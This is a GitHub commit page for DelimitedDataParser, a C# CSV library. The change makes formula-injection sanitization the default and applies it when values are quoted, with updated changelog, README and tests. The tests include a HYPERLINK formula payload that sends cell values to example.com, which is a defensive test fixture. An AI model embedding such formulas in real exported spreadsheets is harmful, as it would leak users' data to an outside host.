Skip to content
This repository was archived by the owner on Feb 12, 2024. It is now read-only.

Commit cbf50bc

Browse files
authored
Sanitize strings even when escape characters are used, and bump major… (#33)
* Sanitize strings even when escape characters are used, and bump major version - The default for _sanitizeStrings has been changed from false to True - Strings are now sanitized even when _includeEscapeCharacters is set to True * Set SanitizeStrings back to false for tests * Add links to CHANGELOG Co-authored-by: Steven Birks <steven.birks@enable.com>
1 parent 0e07fab commit cbf50bc

File tree

6 files changed

+55
-10
lines changed

6 files changed

+55
-10
lines changed

CHANGELOG.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,19 @@ This project adheres to [Semantic Versioning](http://semver.org/).
55

66
## [Unreleased][unreleased]
77

8+
## [6.0.0] - 2021-12-13
9+
10+
### Added
11+
12+
- Update _sanitizeStrings default to `true`.
13+
- Sanitize strings will now also take effect when escape characters are used.
14+
15+
## [5.0.0] - 2021-11-23
16+
17+
### Added
18+
19+
- Add the option to trim column headers when reading from the input text, and make it the default.
20+
821
## [4.2.1] - 2020-11-17
922

1023
### Added
@@ -140,6 +153,8 @@ This project adheres to [Semantic Versioning](http://semver.org/).
140153
- Initial public release.
141154

142155
[unreleased]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v4.2.0...HEAD
156+
[6.0.0]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v5.0.0...v6.0.0
157+
[5.0.0]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v4.2.1...v5.0.0
143158
[4.2.1]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v4.2.0...v4.2.1
144159
[4.2.0]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v4.1.0...v4.2.0
145160
[4.1.0]: https://github.com/EnableSoftware/DelimitedDataParser/compare/v4.0.3...v4.1.0

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ using (var fileWriter = File.CreateText("my.csv"))
6565
### Configuration properties
6666

6767
* `FieldSeparator` - the character used as field delimiter in the text file. Default: `,` (i.e., CSV).
68-
* `SanitizeStrings` - specifies whether strings should be sanitized, prepending blacklisted characters at the start of the string with a single quote `'`. The default value is `false`.
68+
* `SanitizeStrings` - specifies whether strings should be sanitized, prepending blacklisted characters at the start of the string with a single quote `'`. Default: `true`.
6969
* `IncludeEscapeCharacters` - specifies whether each value should be escaped by wrapping in quotation marks. Default: `true`.
7070
* `OutputColumnHeaders` - specifies whether an initial row containing column names should be written to the output. Default: `true`.
7171
* `UseExtendedPropertyForColumnName(string key)` - specifies a key that is used to search on the ExtendedProperties of a DataColumn. If it finds a value this will be used as the column header, if no match is found it will default to the column's ColumnName. This should be used if you are required to output a different column header to what is stored on the column's ColumnName.

src/DelimitedDataParser/DelimitedDataParser.csproj

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
<CodeAnalysisRuleSet>..\..\CustomExtendedCorrectnessRules.ruleset</CodeAnalysisRuleSet>
77
<Authors>Enable · enable.com</Authors>
88
<Company>Enable</Company>
9-
<Version>5.0.0</Version>
9+
<Version>6.0.0</Version>
1010
<Description>C# library for parsing and exporting tabular data in delimited format (e.g. CSV).</Description>
1111
<Copyright>Copyright © 2018</Copyright>
1212
<PackageIconUrl>https://github.com/EnableSoftware.png</PackageIconUrl>

src/DelimitedDataParser/Exporter.cs

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,15 @@ public class Exporter
1919
public static readonly char TabSeparator = '\t';
2020

2121
private static readonly string[] UnsafeLeadingCharacters = { "=", "+", "-", "@" };
22-
22+
2323
private readonly IProgress<int> _progress;
2424

2525
private ISet<string> _columnNamesAsText;
2626
private IDictionary<string, string> _extendedPropertyValueLookup;
2727

2828
private char _fieldSeparator = ',';
2929
private bool _includeEscapeCharacters = true;
30-
private bool _sanitizeStrings;
30+
private bool _sanitizeStrings = true;
3131
private bool _outputColumnHeaders = true;
3232
private bool _useExtendedPropertyForColumnName;
3333
private string _extendedPropertyKey;
@@ -307,6 +307,11 @@ private static string Sanitize(string value)
307307
/// <returns>The escaped string</returns>
308308
private string CsvEscape(string value, bool valueAsText)
309309
{
310+
if (_sanitizeStrings)
311+
{
312+
value = Sanitize(value);
313+
}
314+
310315
if (_includeEscapeCharacters)
311316
{
312317
value = value.Replace(@"""", @"""""");
@@ -321,11 +326,6 @@ private string CsvEscape(string value, bool valueAsText)
321326
}
322327
}
323328

324-
if (_sanitizeStrings)
325-
{
326-
value = Sanitize(value);
327-
}
328-
329329
return value;
330330
}
331331

test/DelimitedDataParser.Test/ExporterTest.Reader.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -608,6 +608,7 @@ public void ExportReader_Supports_Large_Dataset()
608608
stringReader = null;
609609

610610
var sut = new Exporter();
611+
sut.SanitizeStrings = false;
611612

612613
stopwatch = Stopwatch.StartNew();
613614
output = sut.ExportToString(dataReader);

test/DelimitedDataParser.Test/ExporterTest.cs

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -424,6 +424,7 @@ public void Supports_Huge_Table()
424424
}
425425

426426
var exporter = new Exporter();
427+
exporter.SanitizeStrings = false;
427428

428429
var stopwatch = System.Diagnostics.Stopwatch.StartNew();
429430

@@ -580,7 +581,7 @@ public void Exports_Unquoted_Data()
580581
[InlineData("-", "'-")]
581582
[InlineData("@", "'@")]
582583
[InlineData(@"=HYPERLINK(""http://example.com?leak=""&A1&A2, ""Click here"")", @"'=HYPERLINK(""http://example.com?leak=""&A1&A2, ""Click here"")")]
583-
public void Sanitizer_Escapes_Blacklisted_Characters(string inputString, string expectedOutput)
584+
public void Sanitizer_Escapes_Blacklisted_Characters_WithoutEscapeCharacters(string inputString, string expectedOutput)
584585
{
585586
var input = CreateDataTable();
586587
AddColumn(input, "One");
@@ -602,6 +603,34 @@ public void Sanitizer_Escapes_Blacklisted_Characters(string inputString, string
602603
output);
603604
}
604605

606+
[Theory]
607+
[InlineData("=", @"""'=""")]
608+
[InlineData("+", @"""'+""")]
609+
[InlineData("-", @"""'-""")]
610+
[InlineData("@", @"""'@""")]
611+
[InlineData(@"=HYPERLINK(""http://example.com?leak=""&A1&A2, ""Click here"")", @"""'=HYPERLINK(""""http://example.com?leak=""""&A1&A2, """"Click here"""")""")]
612+
public void Sanitizer_Escapes_Blacklisted_Characters_WithEscapeCharacters(string inputString, string expectedOutput)
613+
{
614+
var input = CreateDataTable();
615+
AddColumn(input, "One");
616+
AddColumn(input, "Two");
617+
618+
AddRow(input, inputString, inputString);
619+
620+
var exporter = new Exporter
621+
{
622+
IncludeEscapeCharacters = true,
623+
SanitizeStrings = true
624+
};
625+
626+
var output = exporter.ExportToString(input);
627+
628+
Assert.Equal(
629+
@"""One"",""Two""" + Environment.NewLine
630+
+ string.Concat(expectedOutput + ",", expectedOutput),
631+
output);
632+
}
633+
605634
[Theory]
606635
[InlineData("abcdef")]
607636
[InlineData("abc + def - ghi @ jkl")]

0 commit comments

Comments
 (0)